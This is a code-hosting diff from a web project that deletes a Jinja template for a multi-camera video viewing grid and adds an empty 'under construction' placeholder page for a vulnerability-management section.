{% block style %} {% block style %}
.note { .note {

143
web/main/templates/view_main.html

@ -1,143 +0,0 @@
{% extends 'base.html' %}
{% block title %}ZFBOX{% endblock %}
{% block style %}
.nav-scroller {
position: relative;
z-index: 2;
height: 2.75rem;
overflow-y: hidden;
}
.nav-scroller .nav {
display: flex;
flex-wrap: nowrap;
padding-bottom: 1rem;
margin-top: -1px;
overflow-x: auto;
text-align: center;
white-space: nowrap;
-webkit-overflow-scrolling: touch;
}
.blue-svg {
color: blue; /* 这将影响所有使用currentColor的fill属性 */
}
main {
display: flex;
flex: 1;
overflow: hidden;
}
.tree-view {
border-right: 1px solid #ddd;
padding: 10px;
overflow-y: auto;
}
.video-frame {
position: relative;
width: calc(50% - 10px); /* 默认4画面布局,每行2个视频框架 */
margin: 5px;
float: left;
background-color: #ccc; /* 默认灰色填充 */
border: 1px solid #000; /* 边框 */
}
.video-header {
display: flex;
justify-content: space-between;
align-items: center;
background-color: #2c3e50;
color: #fff;
padding: 5px;
}
.video-area {
width: 100%;
padding-bottom: 75%; /* 4:3 比例 */
background-color: #000; /* 默认灰色填充 */
position: relative;
border: 1px solid #ddd; /* 视频区域边框 */
}
.video-area canvas {
display: none;
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
object-fit: contain;
}
.video-buttons {
display: flex;
gap: 10px;
}
.video-buttons button {
background: none;
border: none;
color: white;
cursor: pointer;
}
.video-buttons button:hover {
color: #f39c12;
}
.dropdown-menu {
min-width: 100px;
}
#videoGrid.four .video-frame {
width: calc(50% - 10px); /* 每行4个视频框架 */
}
#videoGrid.eight .video-frame {
width: calc(12.5% - 10px); /* 每行8个视频框架 */
}
#videoGrid.nine .video-frame {
width: calc(33.33% - 10px); /* 每行3个视频框架,9画面布局 */
}
.toggle-buttons {
margin-bottom: 5px;
}
.btn-small {
font-size: 0.75rem;
padding: 0.25rem 0.5rem;
}
.error-message {
position: absolute;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
color: red;
background-color: rgba(255, 255, 255, 0.8); /* 半透明背景 */
padding: 10px;
border-radius: 5px;
}
{% endblock %}
{% block content %}
<div class="container d-flex flex-wrap" >
<div id="treeView" class="tree-view col-md-3 ">
<!-- 动态树视图 -->
</div>
<div class="video-content col-md-9">
<div id="videoGrid" class="row four">
<!-- 动态视频节点 -->
</div>
<div class="toggle-buttons">
<button id="fourView" class="btn btn-primary btn-small">四画面</button>
<button id="nineView" class="btn btn-secondary btn-small">九画面</button>
</div>
</div>
</div>
{% endblock %}
{% block script %}
<script src="{{ url_for('main.static', filename='scripts/aiortc-client-new.js') }}"></script>
{% endblock %}

16
web/main/templates/vul_manager.html

@ -0,0 +1,16 @@
{% extends 'base.html' %}
{% block title %}ZFSAFE{% endblock %}
<!-- 页面样式块 -->
{% block style %}
{% endblock %}
<!-- 页面内容块 -->
{% block content %}
<h3 style="text-align: center;padding: 10px"> 功能建设中,在二期实现。。。</h3>
{% endblock %}
<!-- 页面脚本块 -->
{% block script %}
{% endblock %}
Loading…
Cancel
Save